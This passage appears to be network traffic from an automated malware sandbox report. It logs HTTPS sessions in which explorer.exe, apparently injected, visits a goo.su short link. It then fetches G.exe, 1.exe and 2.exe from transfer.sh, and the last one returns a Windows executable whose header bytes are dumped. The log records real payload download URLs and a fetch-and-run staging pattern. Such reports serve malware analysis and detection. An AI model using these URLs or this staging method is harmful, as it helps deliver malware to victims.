00 55 00 31 00 33 Data Ascii: xIzeyVGGBu9FouOJoj9EKBthJfY4JyX9iF1BCgPYkbGgnlmUS1o2e+cWKVNLXf7hH+TMcoABy6fh+xjbbq5xO2D8/AslrZ+DbSoNpPXbX7b4W5sMASa2cx7XOoVXKU13
2022-01-14 01:04:32 UTC	468	IN	Data Raw: 65 00 4b 00 51 00 55 00 35 00 66 00 51 00 7a 00 51 00 6b 00 73 00 47 00 38 00 77 00 30 00 41 00 56 00 46 00 56 00 43 00 39 00 64 00 61 00 54 00 70 00 67 00 68 00 69 00 74 00 44 00 36 00 31 00 70 00 4b 00 2f 00 56 00 4e 00 79 00 59 00 64 00 33 00 36 00 2f 00 35 00 65 00 33 00 4b 00 62 00 73 00 4e 00 46 00 75 00 51 00 55 00 76 00 64 00 33 00 6e 00 68 00 50 00 41 00 74 00 65 00 56 00 5a 00 37 00 51 00 4d 00 67 00 6f 00 6b 00 41 00 2b 00 6e 00 69 00 6d 00 4c 00 74 00 58 00 77 00 5a 00 6d 00 51 00 2b 00 42 00 73 00 65 00 55 00 39 00 57 00 32 00 6c 00 51 00 4e 00 65 00 54 00 45 00 6f 00 65 00 6c 00 39 00 62 00 35 00 64 00 78 00 65 00 50 00 73 00 39 00 68 00 48 00 47 00 6c 00 62 00 75 00 6a 00 63 00 64 00 2f 00 70 00 42 00 79 00 56 00 56 00 4a 00 32 00 4d 00 37 Data Ascii: eKQU5fQzQksG8w0AVFVC9daTpghitD61pK/VNyYd36/5e3KbsNFuQUvd3nhPAteVZ7QMgokA+nimLtXwZmQ+BseU9W2lQNeTEoel9b5dxePs9hHGlbujcd/pByVVJ2M7
2022-01-14 01:04:32 UTC	484	IN	Data Raw: 49 00 4c 00 6f 00 67 00 5a 00 74 00 48 00 48 00 47 00 79 00 37 00 37 00 30 00 45 00 79 00 2f 00 42 00 46 00 35 00 5a 00 74 00 6c 00 2b 00 5a 00 70 00 59 00 4a 00 76 00 44 00 2f 00 6c 00 55 00 63 00 6d 00 66 00 55 00 6d 00 55 00 63 00 58 00 36 00 4d 00 42 00 63 00 56 00 48 00 2f 00 79 00 53 00 79 00 79 00 2f 00 6d 00 62 00 63 00 6a 00 4f 00 69 00 35 00 50 00 72 00 6a 00 65 00 78 00 6f 00 75 00 68 00 45 00 4f 00 38 00 7a 00 79 00 2f 00 56 00 31 00 71 00 4c 00 56 00 48 00 4d 00 6d 00 38 00 63 00 4f 00 4d 00 75 00 69 00 65 00 36 00 45 00 48 00 47 00 54 00 38 00 68 00 66 00 66 00 4d 00 73 00 6b 00 4d 00 38 00 75 00 52 00 54 00 51 00 6a 00 4f 00 38 00 32 00 44 00 67 00 36 00 7a 00 65 00 6e 00 46 00 50 00 68 00 4e 00 67 00 63 00 43 00 45 00 37 00 45 00 6f 00 39 Data Ascii: ILogZtHHGy770Ey/BF5Ztl+ZpYJvD/lUcmfUmUcX6MBcVH/ySyy/mbcjOi5PrjexouhEO8zy/V1qLVHMm8cOMuie6EHGT8hffMskM8uRTQjO82Dg6zenFPhNgcCE7Eo9
2022-01-14 01:04:32 UTC	500	IN	Data Raw: 6b 00 54 00 74 00 6a 00 2f 00 4c 00 44 00 79 00 45 00 4c 00 77 00 77 00 46 00 73 00 75 00 78 00 33 00 45 00 6c 00 6e 00 69 00 59 00 36 00 44 00 41 00 45 00 45 00 4b 00 7a 00 78 00 61 00 51 00 77 00 50 00 32 00 61 00 46 00 37 00 61 00 46 00 48 00 36 00 79 00 6d 00 65 00 5a 00 79 00 55 00 79 00 7a 00 45 00 44 00 48 00 47 00 67 00 39 00 64 00 4b 00 4f 00 51 00 72 00 36 00 6a 00 55 00 38 00 44 00 68 00 32 00 62 00 54 00 52 00 41 00 67 00 68 00 49 00 47 00 62 00 35 00 6e 00 63 00 33 00 57 00 31 00 44 00 64 00 46 00 77 00 56 00 45 00 44 00 30 00 63 00 7a 00 55 00 33 00 2f 00 43 00 70 00 35 00 35 00 6b 00 52 00 57 00 42 00 4c 00 75 00 4e 00 34 00 64 00 6f 00 70 00 32 00 63 00 52 00 47 00 64 00 76 00 43 00 63 00 5a 00 6d 00 62 00 52 00 30 00 68 00 77 00 72 00 58 Data Ascii: kTtj/LDyELwwFsux3ElniY6DAEEKzxaQwP2aF7aFH6ymeZyUyzEDHGg9dKOQr6jU8Dh2bTRAghIGb5nc3W1DdFwVED0czU3/Cp55kRWBLuN4dop2cRGdvCcZmbR0hwrX
2022-01-14 01:04:32 UTC	516	IN	Data Raw: 57 00 61 00 77 00 6b 00 39 00 53 00 4d 00 37 00 68 00 49 00 35 00 38 00 36 00 2b 00 76 00 2b 00 46 00 6f 00 59 00 68 00 48 00 2f 00 67 00 4d 00 46 00 2b 00 38 00 67 00 55 00 2b 00 71 00 42 00 7a 00 34 00 57 00 62 00 79 00 38 00 67 00 47 00 49 00 66 00 57 00 6f 00 51 00 35 00 64 00 4f 00 74 00 76 00 57 00 69 00 43 00 38 00 62 00 5a 00 74 00 4a 00 49 00 46 00 53 00 63 00 50 00 45 00 68 00 32 00 62 00 4f 00 71 00 2f 00 6d 00 4f 00 39 00 72 00 38 00 6a 00 45 00 46 00 4d 00 72 00 76 00 44 00 62 00 50 00 43 00 74 00 4a 00 45 00 76 00 6f 00 57 00 59 00 6c 00 62 00 7a 00 54 00 4d 00 71 00 72 00 7a 00 36 00 58 00 4a 00 6b 00 48 00 57 00 32 00 66 00 66 00 39 00 31 00 57 00 65 00 63 00 7a 00 31 00 66 00 38 00 33 00 65 00 32 00 75 00 37 00 6d 00 6b 00 47 00 2f 00 62 Data Ascii: Wawk9SM7hI586+v+FoYhH/gMF+8gU+qBz4Wby8gGIfWoQ5dOtvWiC8bZtJIFScPEh2bOq/mO9r8jEFMrvDbPCtJEvoWYlbzTMqrz6XJkHW2ff91Wecz1f83e2u7mkG/b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49841	104.21.38.221	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-14 01:05:01 UTC	526	OUT	GET /abhF HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: goo.su
2022-01-14 01:05:02 UTC	526	IN	HTTP/1.1 200 OK Date: Fri, 14 Jan 2022 01:05:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding x-powered-by: PHP/7.2.21 cache-control: private, must-revalidate pragma: no-cache expires: -1 set-cookie: XSRF-TOKEN=eyJpdiI6ImVYNVwvdVgwWGFSalFrV082bDI0cndRPT0iLCJ2YWx1ZSI6IjFFS2VRM09RWTNXMzY0cVJwbWRhcTN6MXk2SkZ5dktYTmpcL2gyT3B1UE1WRm92UGlkYmdpT3BCcU85YkVjV2VkIiwibWFjIjoiNzZiYjAxOWU2NTcxMGM5Y2VhNTI3NjZkYzExYjQzNGFiNzUyOTcyNGMxYjY5NGUyZDJjNGI5NDkxMzQzZTJkZiJ9; expires=Fri, 14-Jan-2022 19:45:02 GMT; Max-Age=67200; path=/ set-cookie: goosu_session=eyJpdiI6Im5zekFzM2ZYS1NDMVRnMVJnYTNJZlE9PSIsInZhbHVlIjoidkl6M3NiVkRiTWRqR1l4SzcxbE5VYzI0V0s3dnVBUnZSMm43bWdwSkFzeUZZT3ZRNCtnTmVobUhLbEhHa3ZqVSIsIm1hYyI6ImI2N2Y2YThhODMwZjlhYjI1NjI3NjFhODJjMjBlMDA0OWJhODU5YmVkZWMyYWY0ODMxNjYzOGM4ZjEyOTIwMWEifQ%3D%3D; expires=Fri, 14-Jan-2022 19:45:02 GMT; Max-Age=67200; path=/; httponly CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lCCpfvBJ%2FO%2Bo6t9x4zj4jgI65OArr%2B%2BZFVNkHZuFNIXVx8vh%2F%2BHrcyGMHXiODjjTeuDLIVwVA0X9EoxTq0fJkqNkD1l3EQh%2FdMqXcwiubr0ffPusziQBXJo%3D"}],"group":"cf-nel","max_age":604800}
2022-01-14 01:05:02 UTC	528	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 36 63 64 32 66 34 31 64 37 63 32 66 36 39 33 66 2d 46 52 41 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 39 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 38 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 37 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd2f41d7c2f693f-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2022-01-14 01:05:02 UTC	528	IN	Data Raw: 32 31 32 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0a 3c 74 69 74 6c 65 3e d0 9f d1 80 d0 be d0 b8 d1 81 d1 85 d0 be d0 b4 d0 b8 d1 82 20 d0 bf d0 b5 d1 80 d0 b5 d0 bd d0 b0 d0 bf d1 80 d0 b0 d0 b2 d0 bb d0 b5 d0 bd d0 b8 d0 b5 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 0a 3c 6c 69 6e 6b 20 68 Data Ascii: 212e<!doctype html><html lang="ru"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noindex"><title> ...</title><link h
2022-01-14 01:05:02 UTC	529	IN	Data Raw: 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 62 6f 72 64 65 72 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 65 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 68 33 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 Data Ascii: -bottom: 30px; } .bordered { border: 1px solid #eee; padding: 10px; } h3 { font-size: 24px; text-align: center; font-weight: 400; text-shadow: 0px 1p
2022-01-14 01:05:02 UTC	530	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 61 73 79 6e 63 3a 20 74 72 75 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 20 3d 20 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 Data Ascii: async: true }); }); t = d.getElementsByTagName("script")[0]; s = d.createElement("script"); s.type = "text/javascript"; s
2022-01-14 01:05:02 UTC	532	IN	Data Raw: 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 73 72 63 20 3d 20 22 2f 2f 61 6e 2e 79 61 6e 64 65 78 2e 72 75 2f 73 79 73 74 65 6d 2f 63 6f 6e 74 65 78 74 2e 6a 73 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 2e 61 73 79 6e 63 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e Data Ascii: yTagName("script")[0]; s = d.createElement("script"); s.type = "text/javascript"; s.src = "//an.yandex.ru/system/context.js"; s.async = true; t.parentNode.
2022-01-14 01:05:02 UTC	533	IN	Data Raw: 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 71 38 69 2f 58 2b 39 36 35 44 7a 4f 30 72 54 37 61 62 4b 34 31 4a 53 74 51 49 41 71 56 67 52 56 7a 70 62 7a 6f 35 73 6d 58 4b 70 34 59 66 52 76 48 2b 38 61 62 74 54 45 31 50 69 36 6a 69 7a 6f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 64 6f 63 73 2f 34 2e 33 2f 61 73 73 65 74 73 2f 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2d 73 6c 69 6d 2e 6d 69 6e 2e 6a 73 22 3e 3c 5c 2f 73 63 72 69 70 74 3e 27 29 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f Data Ascii: grity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script><script>window.jQuery \|\| document.write('<script src="/docs/4.3/assets/js/vendor/jquery-slim.min.js"><\/script>')</script><script src="/js/
2022-01-14 01:05:02 UTC	534	IN	Data Raw: 76 65 69 6e 74 65 72 6e 65 74 2e 72 75 2f 63 6c 69 63 6b 22 20 27 2b 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 63 6f 75 6e 74 65 72 2e 79 61 64 72 6f 2e 72 75 2f 68 69 74 3f 74 34 34 2e 31 31 3b 72 27 2b 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 73 63 61 70 65 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 2b 28 28 74 79 70 65 6f 66 28 73 63 72 65 65 6e 29 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 3f 27 27 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 3b 73 27 2b 73 63 72 65 65 6e 2e 77 69 64 74 68 2b 27 2a 27 2b 73 63 72 65 65 6e 2e 68 65 69 67 68 74 2b 27 2a 27 2b 28 73 63 72 65 65 6e 2e 63 6f 6c 6f 72 44 65 70 74 68 3f 0a 20 20 20 20 20 20 20 20 20 Data Ascii: veinternet.ru/click" '+ 'target="_blank"><img src="//counter.yadro.ru/hit?t44.11;r'+ escape(document.referrer)+((typeof(screen)=='undefined')?'': ';s'+screen.width+''+screen.height+''+(screen.colorDepth?
2022-01-14 01:05:02 UTC	536	IN	Data Raw: 70 65 72 61 5d 22 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 20 66 2c 20 66 61 6c 73 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 20 66 28 29 3b 20 7d 0a 20 20 20 20 20 20 20 20 7d 29 28 77 69 6e 64 6f 77 2c 20 64 6f 63 75 6d 65 6e 74 2c 20 22 5f 74 6f 70 31 30 30 71 22 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 63 6f 75 6e 74 65 72 2e 72 61 6d 62 6c 65 72 2e 72 75 2f 74 6f 70 31 30 30 2e 63 6e 74 3f 70 69 64 3d 36 36 37 33 31 35 35 22 20 61 6c 74 3d 22 d0 a2 d0 be d0 bf 2d 31 30 30 22 20 2f 3e 0a 20 Data Ascii: pera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(window, document, "_top100q"); </script><noscript> <img src="//counter.rambler.ru/top100.cnt?pid=6673155" alt="-100" />
2022-01-14 01:05:02 UTC	536	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49843	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-14 01:05:03 UTC	536	OUT	GET /get/QbPlFD/G.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: transfer.sh
2022-01-14 01:05:03 UTC	536	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Fri, 14 Jan 2022 01:05:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 10 Connection: close Retry-After: Fri, 14 Jan 2022 02:05:08 GMT X-Content-Type-Options: nosniff X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1642122308 X-Served-By: Proudly served by DutchCoders
2022-01-14 01:05:03 UTC	537	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 0a Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49855	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-14 01:05:09 UTC	537	OUT	GET /get/TQL2Nf/1.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: transfer.sh
2022-01-14 01:05:09 UTC	537	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Fri, 14 Jan 2022 01:05:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 10 Connection: close Retry-After: Fri, 14 Jan 2022 02:05:14 GMT X-Content-Type-Options: nosniff X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1642122314 X-Served-By: Proudly served by DutchCoders
2022-01-14 01:05:09 UTC	537	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 0a Data Ascii: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49864	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-14 01:05:10 UTC	537	OUT	GET /get/VrsVTW/2.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: transfer.sh
2022-01-14 01:05:11 UTC	538	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Fri, 14 Jan 2022 01:05:11 GMT Content-Type: application/x-ms-dos-executable Content-Length: 3570176 Connection: close Content-Disposition: attachment; filename="2.exe" Retry-After: Fri, 14 Jan 2022 02:05:14 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 8 X-Ratelimit-Reset: 1642122314 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders
2022-01-14 01:05:11 UTC	538	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 ef 4f df 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 1d 00 24 02 00 00 ba 02 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 54 00 00 04 00 00 62 13 36 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELOa$@@ Tb6
2022-01-14 01:05:11 UTC	554	IN	Data Raw: 4e f3 c9 99 b8 f4 fe 76 c6 c3 1c 10 ca 56 86 98 da ad 28 1b 3e 1f 00 1e 02 00 19 09 18 b4 f5 57 26 83 2e a5 fa 4f 5d ec 07 c7 cb 67 52 72 c8 1a cd 53 93 e7 72 8c 00 18 64 aa 13 d4 92 04 ac 93 8b 82 f7 ce b7 11 74 6e 05 e0 2f 82 16 c8 fd aa c9 b3 9f 3d 3e 0c 50 b7 7f f4 bb ac 85 81 06 79 dc 02 ff be f9 fc 5d 66 eb bb 8e 2c 74 a2 d5 1d 9e 7e d3 0a 7d d5 d8 45 2e cd d6 d8 5f 82 18 3e af 07 a4 e4 a9 75 bd 66 b1 11 81 75 c0 d4 14 77 74 af 62 e2 27 88 91 80 3f 26 eb 96 6f 51 a6 12 74 8a c2 fe 73 a4 c6 f8 68 b8 7d bf 7a bc 4c 86 61 6e f3 5c 1a 94 8d 20 42 43 dd d7 9a 87 40 6e da 2f 9b c6 2f 06 20 3c 98 42 f8 18 97 6e 70 25 48 ca c9 92 bf f0 74 55 88 83 c6 cb 03 d0 94 11 d3 c2 5c 6e 5d d8 4e 02 ae 88 c0 17 6a c8 92 31 3a 49 f5 32 ba 72 92 39 b0 36 b9 51 9c a0 ff Data Ascii: NvV(>W&.O]gRrSrdtn/=>Py]f,t~}E._>ufuwtb'?&oQtsh}zLan\ BC@n// <Bnp%HtU\n]Nj1:I2r96Q
2022-01-14 01:05:11 UTC	570	IN	Data Raw: 9b b9 e6 59 6d 49 22 3c da 48 22 41 f8 b4 77 10 a1 e4 13 60 03 59 f0 f0 7f 44 19 ac 90 39 5d fa e5 74 ad 27 64 66 3f 90 a6 c0 d7 fc 8b 5a 57 2f bf 81 93 67 b7 de c1 12 03 d4 90 d7 e8 ec f6 fc 94 8c 7a 83 89 c8 3c 29 f8 d1 c5 8d 37 d5 c4 29 28 f0 49 7a c6 f4 c7 09 b3 78 bb 72 29 a2 fc 45 69 20 77 15 21 b6 4e 94 c7 e6 b9 37 26 b9 64 b2 80 1a ab b6 ff 8b 3c a4 af 03 05 4b 8a d8 d8 ad 15 c2 a5 35 48 76 81 fb 26 69 52 a2 8c 68 19 f1 97 87 1b e0 c9 52 28 6e 92 43 30 0c 36 33 de d3 96 15 ee 54 eb 78 ec e4 33 49 81 fd 31 52 82 4c 77 98 58 ea 76 1e fa be 15 4a 80 a4 04 2f 42 b0 3a e8 ad 41 8d 34 15 80 a6 c6 c0 b2 a6 01 d5 44 ba 57 6e fc a9 dc f3 39 39 7b c8 ae 6d 6e 1e db 2a 2e b7 55 81 fe c8 f5 4e 85 e4 39 69 9b 77 82 94 14 b7 89 3e ce ee 19 0d f4 6f 33 c5 5b fe Data Ascii: YmI"<H"Aw`YD9]t'df?ZW/gz<)7)(Izxr)Ei w!N7&d<K5Hv&iRhR(nC063Tx3I1RLwXvJ/B:A4DWn99{mn*.UN9iw>o3[
2022-01-14 01:05:11 UTC	586	IN	Data Raw: bc 51 81 07 fc 00 1b 3f 6c 34 1e 79 52 c4 b4 82 05 63 b5 5c 55 ab bc 98 ba c8 6b 78 35 5d d4 08 4d c0 87 7b cf ea 69 93 26 36 33 a0 b5 d8 bb f0 10 34 7e 8c 1a 1d 29 0f 16 9a 0b b9 5f c5 7f e0 58 04 ef b3 71 78 07 4c 41 07 ef c0 93 46 ca e8 fd 0b a4 7d 9f bf 63 9e 18 dd 5c 49 62 ba a6 f5 7a 50 12 6d 6f ee 44 e0 af 2b 7a 2f a6 3d df 2e b9 ec 1f e2 70 ed 3d 9c 10 1a e0 ee 74 f3 16 9e c2 56 00 ab 61 8c 07 7f 3b 46 c8 ea a4 33 d9 89 e0 93 90 c8 42 b9 4c d4 9f 4e 66 2d c0 0c ab 12 0b a0 e9 6c 77 db 90 b4 5e af e9 a3 ad 1b c5 8d 5f db 7c dc ee e8 0e 3a f8 2e 1b bb 65 49 08 05 6c e0 8c b5 c8 78 88 29 90 ed 9c 9a 66 c7 7e 9a 78 13 79 da c1 b0 9e 9f 9e 92 22 5a 90 14 e0 9b 6e eb 2b e3 33 42 81 5c aa 06 c0 30 5d 43 1f 81 4c c4 ff b8 92 74 c0 a9 82 cb 4a da 4f 0b e7 Data Ascii: Q?l4yRc\Ukx5]M{i&634~)_XqxLAF}c\IbzPmoD+z/=.p=tVa;F3BLNf-lw^_\|:.eIlx)f~xy"Zn+3B\0]CLtJO
2022-01-14 01:05:11 UTC	602	IN	Data Raw: e7 8c 5f 63 56 b6 0a e9 8a aa 44 26 9a 32 90 ad 8b 11 ea d0 f9 59 06 a1 5b c5 5c de e0 f0 e9 c7 43 dc e9 a4 9d 6b 58 0d 45 42 41 01 f0 45 27 77 b6 47 bb a1 7c 42 f5 24 f3 b0 4b 9c ed 15 23 85 49 64 10 54 ea b6 e1 b6 91 36 5f c0 fe 19 0a 97 67 03 0d 0b b2 2e a0 66 2b e6 bc 9a 7e aa f6 da c7 15 d8 57 c5 2d 7d 5c a0 db 11 fe 43 f7 63 de cf 83 3a 26 ee f6 62 3f ff b3 00 6f b1 10 ab a4 34 d5 00 ea b7 92 e9 75 f3 b2 03 a3 7b 12 1c 51 e8 96 cb 93 0c 2e 63 d8 84 c9 ae 28 36 82 24 47 0b 3d 6d f0 e2 f4 8f df 34 2b 24 1b b5 f5 03 7f f2 1d 2b c6 ce f2 fa 73 28 c6 d1 d8 c0 bd 93 4a 8e c8 5a 16 d0 0b 3d ea 36 bf fe 7f f7 c9 b2 0a 30 57 7d 9f df 39 08 ba 60 f5 fc 0e c2 fb 12 f8 bd c7 6d 99 b5 37 a6 46 3d 35 c3 0f 1f c5 0f e4 af 30 00 b4 1d 87 21 87 32 35 c8 41 27 88 e6 Data Ascii: 